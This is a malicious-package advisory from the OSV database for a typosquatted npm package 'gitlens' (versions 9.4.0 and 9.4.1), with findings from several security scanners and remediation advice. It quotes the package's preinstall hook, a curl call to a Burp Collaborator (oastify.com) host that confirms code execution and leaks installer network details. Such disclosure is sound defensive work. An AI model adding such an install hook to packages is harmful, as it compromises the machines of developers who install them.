MAL-2026-6973

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/gitlens/MAL-2026-6973.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6973
Aliases
  • GHSA-mgwg-48mg-h7pg
Published
2026-07-08T09:21:00Z
Modified
2026-07-09T16:31:58.315734659Z
Summary
Malicious code in gitlens (npm)
Details

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Source: amazon-inspector (c60743ac7b975c729e8ff8bd5310f71fce030efc3979f419f60e129921364ae7)

package.json declares a preinstall lifecycle hook that runs curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com on npm install. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting.

Source: ghsa-malware (6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Source: ossf-package-analysis (33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395)

The OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious.

It is considered malicious because:

  • The package communicates with a domain associated with malicious activity.

  • The package executes one or more commands associated with malicious behavior.

Database specific 
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-07-08T09:21:00Z",
            "source": "ossf-package-analysis",
            "import_time": "2026-07-08T10:18:19.077608779Z",
            "sha256": "33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395",
            "versions": [
                "9.4.0"
            ]
        },
        {
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "id": "GHSA-mgwg-48mg-h7pg",
            "source": "ghsa-malware",
            "import_time": "2026-07-09T13:22:08.528687482Z",
            "sha256": "6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120",
            "modified_time": "2026-07-09T11:17:55Z"
        },
        {
            "modified_time": "2026-07-09T15:48:56Z",
            "id": "IN-MAL-2026-009242",
            "source": "amazon-inspector",
            "import_time": "2026-07-09T16:20:53.831866076Z",
            "sha256": "3632e760faee6d1af9b80a19b7224a7f269f40186f2ab81124a887dbe875f6e1",
            "versions": [
                "9.4.0"
            ]
        },
        {
            "modified_time": "2026-07-09T15:49:05Z",
            "id": "IN-MAL-2026-009243",
            "source": "amazon-inspector",
            "import_time": "2026-07-09T16:20:53.898236683Z",
            "sha256": "c60743ac7b975c729e8ff8bd5310f71fce030efc3979f419f60e129921364ae7",
            "versions": [
                "9.4.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / gitlens

Package

Name
gitlens
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Purl
pkg:npm/gitlens

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

9.*
9.4.0
9.4.1

Database specific

indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "tlsh": "9ae0cd389d21983319c007524c5e9546f291df5f29147c095bdf152c91de67748fa25d",
            "sha256": "5d0524a24178fcc833c4042d814d31d188a73bed16b3702eafb0feb5cfa25859"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/gitlens/MAL-2026-6973.json"
cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]